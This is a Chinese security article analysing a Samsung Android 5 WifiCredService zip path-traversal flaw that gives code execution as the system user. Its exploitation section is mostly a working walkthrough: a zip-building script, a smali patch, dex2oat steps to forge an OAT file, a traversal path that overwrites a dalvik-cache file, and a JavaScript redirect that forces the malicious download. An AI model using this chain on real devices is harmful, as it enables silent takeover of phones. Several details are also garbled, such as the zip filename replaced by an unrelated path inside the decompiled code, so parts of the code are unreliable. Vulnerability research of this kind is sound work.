频道栏目
首页 > 资讯 > 系统安全 > 正文

三星Android 5设备滥用wifiCredService导致远程代码执行

15-11-19        来源:[db:作者]  
收藏   我要投稿

本文具体分析了最近在Google漏洞赏金计划中披露的三星Android5设备漏洞[0],该漏洞由Google的Project Zero团队以及Quarkslab挖掘。据我们所知,该漏洞存在于所有三星搭载Android5的设备中,仅仅通过浏览站点,下载电子邮件中的附件,或者一个恶意的第三方软件便能够使用system user权限进行远程代码执行。

关于漏洞

搭载Android 5的三星设备中,一款uid为system的安卓应用监视着/sdcard/Download/目录操作,其用到基于inotify机制的Java FileObserver。当以cred开始.zip结尾的文件名写入这个特殊目录,将会调用一个例程来解压这个文档,完成之后再从/sdcard/Download/目录将其删除,从cred[something].zip文件中提取的文件会解压到/data/bundle/目录。

不幸的是,没有在文件名进行验证。这意味着一个以../为开头的文件名会被写入/data/bundle/之外的位置。攻击者便能够在任意位置写入任意内容而且还带system用户权限。如果系统用户权限足够,那我们可以随意创建新文件或者是覆盖现有文件。很明显,带系统用户权限写入文件可导致远程代码执行漏洞。

考虑到/sdcard/Download/为安卓浏览器默认的下载文件夹,并且GMail应用保存的附件也在这文件夹内,你又有一个远程代码执行漏洞…..

攻击向量

据我们所知,以下攻击向量可用来利用该漏洞:

1.通过任意浏览器访问一个站点(包括Google Chrome)

2.通过GMail应用保存邮件中的附件

3.安装一款安卓恶意软件

如何检测是否存在漏洞

我们希望快速简便的检测用户设备状态。为此我们给开源项目Android VTS[2]写了一个模块[1],因此你可以通过Android VTS快速的检测手中设备的状态。

以下为使用Android VTS进行检测的一个例子:


详细分析

以下分析都是在Samsung Galaxy S6设备上完成,漏洞代码位于Hs20Settings.apk应用之中。其注册一个名为WifiHs20BroadcastReceiver的广播接收器,在启动时或者触发WIFI事件(android.net.wifi.STATE_CHANGE)便执行。

需要注意的是,这个三星设备漏洞代码可能在其他位置。例如,Samsung Galaxy S5这个漏洞代码就在SecSettings.apk中。

当广播接收器通过前面两个条件之一触发时,会执行以下代码:

public void onReceive(Context context, Intent intent) {
  [...]
  String action = intent.getAction();
  [...]
  if("android.intent.action.BOOT_COMPLETED".equals(action)) {
      serviceIntent = new Intent(context, WifiHs20UtilityService.class);
      args = new Bundle();
      args.putInt("com.android.settings.wifi.hs20.utility_action_type", 5003);
      serviceIntent.putExtras(args);
      context.startServiceAsUser(serviceIntent, UserHandle.CURRENT);
  }
  [...]}


对于每一个事件,都会有一个Intent来创建一个名为WifiHs20UtilityService的服务。注意观察服务中的构造函数,特别是onCreate()方法,它会创建一个新的WifiHs20CredFileObserver对象。

public void onCreate() {
  super.onCreate();
  Log.i("Hs20UtilService", "onCreate");
  [...]
  WifiHs20UtilityService.credFileObserver = new WifiHs20CredFileObserver(
          this,
          Environment.getExternalStorageDirectory().toString() + "/Download/"
  );
  WifiHs20UtilityService.credFileObserver.startWatching();
  [...]}


WifiHs20CredFileObserver被定义为FileObserver的Java子类:
class WifiHs20CredFileObserver extends FileObserver {

在安卓文档中FileObserver的定义:

android.os下的FileObserver类是一个用于监听文件访问、创建、修改、删除、移动等操作的监听器,基于linux的inotify。 FileObserver 是个抽象类,必须继承它才能使用。每个FileObserver对象监听一个单独的文件或者文件夹,如果监视的是一个文件夹,那么文件夹下所有的文件和级联子目录的改变都会触发监听的事件。

公共构造函数必须为监控事件指定一个路径和一个mask:
FileObserver(String path, int mask)

WifiHs20CredFileObserver的构造函数如下:

public WifiHs20CredFileObserver(WifiHs20UtilityService arg2, String path) {
  WifiHs20UtilityService.this = arg2;
  super(path, 0xFFF);
  this.pathToWatch = path;}

在上面的代码片段中,FileObserver所有的有效事件类型可以在/sdcard/Download/目录下查看,事实上mask 0xFFF就是为FileObserver.ALL_EVENTS准备的。为了搞清楚接收事件后会发生什么动作,我们还需要看看WifiHs20CredFileObserver中的onEvent()重载方法:

public void onEvent(int event, String fileName) {
    WifiInfo wifiInfo;
    Iterator i$;
    String credInfo;
    if(event == 8 && (fileName.startsWith("cred")) && ((fileName.endsWith(".conf")) || (fileName
            .endsWith(".zip")))) {
        Log.i("Hs20UtilService", "File CLOSE_WRITE [" + this.pathToWatch + fileName + "]" +
                event);

        if(fileName.endsWith(".conf")) {
            try {
                credInfo = this.readSdcard(this.pathToWatch + fileName);
                if(credInfo == null) {
                    return;
                }
                new File(this.pathToWatch + fileName).delete();
                i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
                while(i$.hasNext()) {
                    WifiHs20Timer.access$500(i$.next()).cancel();
                }
                WifiHs20UtilityService.this.expiryTimerList.clear();
                WifiHs20UtilityService.this.mWifiManager.modifyPasspointCred(credInfo);
                wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
                if(!wifiInfo.isCaptivePortal()) {
                    return;
                }
                if(wifiInfo.getNetworkId() == -1) {
                    return;
                }
                WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.
                        mWifiManager.getConnectionInfo().getNetworkId(), null);
            }
            catch(Exception e) {
                e.printStackTrace();
            }
            return;
        }
        if(fileName.endsWith(".zip")) {
            String zipFile = this.pathToWatch + "/../20220623/file.html";
            String unzipLocation = "/data/bundle/";
            if(!this.installPathExists()) {
                return;
            }
            this.unzip(zipFile, unzipLocation);
            new File(zipFile).delete();
            credInfo = this.loadCred(unzipLocation);
            if(credInfo == null) {
                return;
            }
            i$ = WifiHs20UtilityService.this.expiryTimerList.iterator();
            while(i$.hasNext()) {
                WifiHs20Timer.access$500(i$.next()).cancel();
            }


            WifiHs20UtilityService.this.expiryTimerList.clear();
            Message msg = new Message();
            Bundle b = new Bundle();
            b.putString("cred", credInfo);
            msg.obj = b;
            msg.what = 42;
            WifiHs20UtilityService.this.mWifiManager.callSECApi(msg);
            wifiInfo = WifiHs20UtilityService.this.mWifiManager.getConnectionInfo();
            if(!wifiInfo.isCaptivePortal()) {
                return;
            }
            if(wifiInfo.getNetworkId() == -1) {
                return;
            }
            WifiHs20UtilityService.this.mWifiManager.forget(WifiHs20UtilityService.this.mWifiManager
                    .getConnectionInfo().getNetworkId(), null);
        }
    }}
当接收到事件类型8(FileObserver.CLOSE_WRITE)时,对文件名以及动作的检测可能已经开始了。如果写入的文件以cred,.conf或.zip结尾便会执行一些处理,而在其他所有例子中,FileObserver会简单的略过。

当一个特殊的文件写入监控文件中,会发生以下两种情况:

1).conf文件:服务调用readSdcard()读取文件,然后将配置传递给WifiManager.modifyPasspointCred(),readSdcard()调用完成之后.conf文件被删除

2).zip文件:服务将其提取到/data/bundle/并调用loadCred()解析cred.conf提取出的内容,然后将loadCred()结果作为Bundle对象的参数调用WifiManager.callSECApi(),完成解压操作后文件被删除

第一种情况对于我们没有什么用,但是第二个有用哇有用哇有用哇。使用标准ZipInputStream类完成解压操作,这是一个大家都知道的秘密如果没有对文件内的文件名进行验证,便可以进行目录遍历。该漏洞与@fuzion24报告的三星键盘更新机制漏洞类似

以下为绿化版的unzip()函数,为了便于阅读将不重要的try/catch语句进行了删除:
private void unzip(String _zipFile, String _location) {
   FileInputStream fin = new FileInputStream(_zipFile);
   ZipInputStream zin = new ZipInputStream(((InputStream)fin));
   ZipEntry zentry;
   /* check if we need to create some directories ... */
   while(true) {
     label_5:
       zentry = zin.getNextEntry();
       if(zentry == null) {
           // exit
       }
       Log.v("Hs20UtilService", "Unzipping********** " + zentry.getName());
       if(!zentry.isDirectory()) {
           break;
       }
       /* if the directory does'nt exist, the _dirChecker will create it */
       this._dirChecker(_location, zentry.getName());
   }
   FileOutputStream fout = new FileOutputStream(_location + zentry.getName());
   int c;
   for(c = zin.read(); c != -1; c = zin.read()) {
       if(fout != null) {
           fout.write(c);
       }
   }
   if(zin != null) {
     zin.closeEntry();
   }
   if(fout == null) {
       goto label_45;
   }
   fout.close();label_45:
   MimeTypeMap type = MimeTypeMap.getSingleton();
   String fileName = new String(zentry.getName());
   int i = fileName.lastIndexOf(46);
   if(i  0) {
     goto label_5;
   }
   String v2 = fileName.substring(i + 1);
   Log.v("Hs20UtilService", "Ext" + v2);
   Log.v("Hs20UtilService", "Mime Type" + type.getMimeTypeFromExtension(v2));


   goto label_5;
  }
 }

我们可以注意到对于文档内的文件没有进行验证,存在目录遍历问题。因此,如果我们有一个名为../20220623/file.html或者cred[something].zip写入/sdcard/Download/目录。WifiHs20CredFileObserver会自动(不需用户交互)将文件内容解压到/data/bundle/目录,之后删除.zip文件。由于没有对解压文件的文件名验证,在该文件夹内任何以../开头的解压文件都会被提取到/data/bundle/目录之外的位置,并且现有文件会被覆盖。最后请记住解压操作是系统用户完成的!

利用

首先我们随意建立一个zip文件,使用Python轻松实现:
from zipfile import ZipFilewith ZipFile("../20220623/file.html", "w") as z:
    z.writestr("../../path/filename", open("file", "rb").read())

接下来我们需要获得一个代码执行对吧?想在任意位置写入数据,你就得需要系统用户的权限,典型的解决方案就是覆盖dalvik-cache中的一些文件。在Android 5中dalvikvm用的很少,已经被ART所替代,对于ODEX文件来说都一样。OAT文件是由一个.apk文件通过包管理器调用dex2oat生成,并且生成的文件写入/data/dalvik-cache/目录(.dex后缀),然而我们依然可以使用这种方法执行代码。

不幸的是(这完全取决于你),覆盖dalvik-cache来获得代码执行现如今几乎是不可能的事情。在最近的rom中dalvik-cache目录是需要root权限的,SELinux才拥有写入权限.

早前搭载Android 5的三星rom,如G900FXXU1BNL9或者G900FXXU1BOB7就不包含这些SELinux规则。在这些rom中dalvik-cache目录事实上是属于root的,SELinux规则并没有阻止任意系统应用覆盖dalvik-cache(文件属于system)中的文件。我们考虑将其中一个rom作为本文例子,对于本文重在解释通过其他方法作为system用户来进行代码执行(不需写入dalvik-cache)来说这并不重要。

凭借dalvik-cache我们拥有一个可利用的rom,我们需要找到一个有趣的目标应用(运行uid为system)进行覆盖并解决如何生成我们的OAT文件。

寻找一个优秀的目标应用不是件简单事情,我们需要记住3个细节:

1.解压例程是有Java编写的,解压是一个字节一个字节完成,对于大文件来说速度相当缓慢

2.如果你覆盖正在运行的应用的OAT文件,这会导致崩溃

3.如何通过应用执行代码?

事实上,我们需要寻找一个相对较小的OAT文件并且几乎不常使用,以下为完美的候选人名单:
shell@klte:/ $ ls -al /data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
-rw-r--r-- system   u0_a31000   176560 2015-10-30 15:40 system@app@AccessControl@AccessControl.apk@classes.dex

查看应用程序的manifest,我们可以看到其通过注册一个广播接收器监听android.intent.action.BOOT_COMPLETED事件实现一个非常不错的“自动运行”功能
manifest android:sharedUserId="android.uid.system" android:versionCode="1411172008" [...] xmlns:android="http://schemas.android.com/apk/res/android">
    application android:debuggable="false" android:icon="@2130837507" android:label="@2131230720" android:supportsRtl="true" android:theme="@2131296256">
        [...]        receiver android:exported="false" android:name="com.samsung.android.app.accesscontrol.AccessControlReceiver">
            intent-filter>
                action android:name="android.intent.action.BOOT_COMPLETED" />
                action android:name="com.samsung.android.app.accesscontrol.TOGGLE_MODE" />
            intent-filter>
        receiver>
        [...]    application>manifest>

因此,如果我们将自定义代码放入AccessControlReceiver类的onReceive()方法中,在每次启动时我们的代码都会被执行

接下来,验证我们的猜想!

首先我们需要AccessControl应用的原始代码:
> adb pull /system/app/AccessControl/arm/ .
pull: building file list...
pull: /system/app/AccessControl/arm/AccessControl.odex.xz -> ./AccessControl.odex.xz
pull: /system/app/AccessControl/arm/AccessControl.odex.art.xz -> ./AccessControl.odex.art.xz2 files pulled. 0 files skipped.273 KB/s (72428 bytes in 0.258s)> ls
AccessControl.odex.art.xz  AccessControl.odex.xz
> xz -d *
> file *
AccessControl.odex:     ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
AccessControl.odex.art: data
我们获得了一个ART ELF (OAT)文件,但是我们想要修改它的dalvik字节码。我们可以使用oat2dex提取相应的dalvik字节码[8]:
> python oat2dex.py /tmp/art/AccessControl.odex
Processing '/tmp/art/AccessControl.odex'Found DEX signature at offset 0x2004
Got DEX size: 0xe944
Carving to: '/tmp/art/AccessControl.odex.0x2004.dex'> file *
[...]
AccessControl.odex.0x2004.dex: Dalvik dex file version 035
[...]
> baksmali AccessControl.odex.0x2004.dex -o smali

接下来在onReceive()方法中加入我们的自定义代码:

> find smali/ -iname '*receiver*'
smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
> vim smali/com/samsung/android/app/accesscontrol/AccessControlReceiver.smali
[...]
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
  .registers 10
 
+  # adding the following code:
+  const-string v0, "sh4ka"
+  const-string v1, "boom!"
+  invoke-static {v0, v1}, Landroid/util/Log;->wtf(Ljava/lang/String;Ljava/lang/String;)I
[...]
> smali smali/ -o classes.dex
为了构建我们修改过的DEX文件,再次使用dex2oat:
> adb pull /system/app/AccessControl/AccessControl.apk .1462 KB/s (259095 bytes in 0.173s)> sudo chattr +i AccessControl.apk
> cp AccessControl.apk Modded.apk
> zip -q Modded.apk classes.dex
> python -c 'print len("/system/app/AccessControl/AccessControl.apk")'43
> python -c 'print 43-len("/data/local/tmp/Modded.apk")'17
> mv Modded.apk Modded$(python -c 'print "1"*17').apk
> ls
AccessControl.apk  AccessControl.odex  AccessControl.odex.0x2004.dex  AccessControl.odex.art  classes.dex  Modded11111111111111111.apk  smali
> adb push Modded11111111111111111.apk /data/local/tmp1144 KB/s (284328 bytes in 0.242s)> adb shell dex2oat --dex-file=/data/local/tmp/Modded11111111111111111.apk --oat-file=/data/local/tmp/modified.oat
> adb pull /data/local/tmp/modified.oat .1208 KB/s (172464 bytes in 0.139s)> file modified.oat
modified.oat: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (GNU/Linux), dynamically linked, stripped
> sed -i 's/\/data\/local\/tmp\/Modded11111111111111111.apk/\/system\/app\/AccessControl\/AccessControl.apk/g;' modified.oat
最后我们可以构建zip文件来利用这个漏洞了:
> cat injectzip.py
import sys
from zipfile import ZipFile
with ZipFile("../20220623/file.html","w") as z:
  z.writestr(sys.argv[1],open(sys.argv[2],"rb").read())> python injectzip.py ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex /tmp/art/modified.oat
> zipinfo ../20220623/file.html
Archive:  ../20220623/file.html
Zip file size: 172750 bytes, number of entries: 1
?rw-------  2.0 unx   172464 b- stor 15-Nov-08 18:43 ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex1 file, 172464 bytes uncompressed, 172464 bytes compressed:  0.0%
这里有多种方法触发这个漏洞,如迫使浏览器打开一个web页面下载这个zip文件:
 type="text/javascript">document.location="/../20220623/file.html";

或者仅仅是测试目的,可以通过打开adb将其传入/sdcard/Download/:
> adb push ../20220623/file.html /sdcard/Download/
> adb logcat WifiCredService:V *:S
--------- beginning of main
--------- beginning of system
I/WifiCredService( 4599): File CLOSE_WRITE [/storage/emulated/0/Download/../20220623/file.html]8
V/WifiCredService( 4599): Unzipping********** ../../../../../../data/dalvik-cache/arm/system@app@AccessControl@AccessControl.apk@classes.dex
V/WifiCredService( 4599): Extdex
V/WifiCredService( 4599): Mime Typenull
重启机器之后,应该会出现一些消息:
> adb reboot; adb logcat sh4ka:V *:S
- waiting for device -
--------- beginning of system
--------- beginning of main
F/sh4ka   ( 3613): boom!
这个方法并非是最优的,开动脑筋吧!欢迎再评论区写下你的答案,如果答案优秀我会通过小酒馆打赏10金币给你。
相关TAG标签
上一篇:UC浏览器:ZipInputStream引发的思考
下一篇:两步:5分钟确定钓鱼网站入手点
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站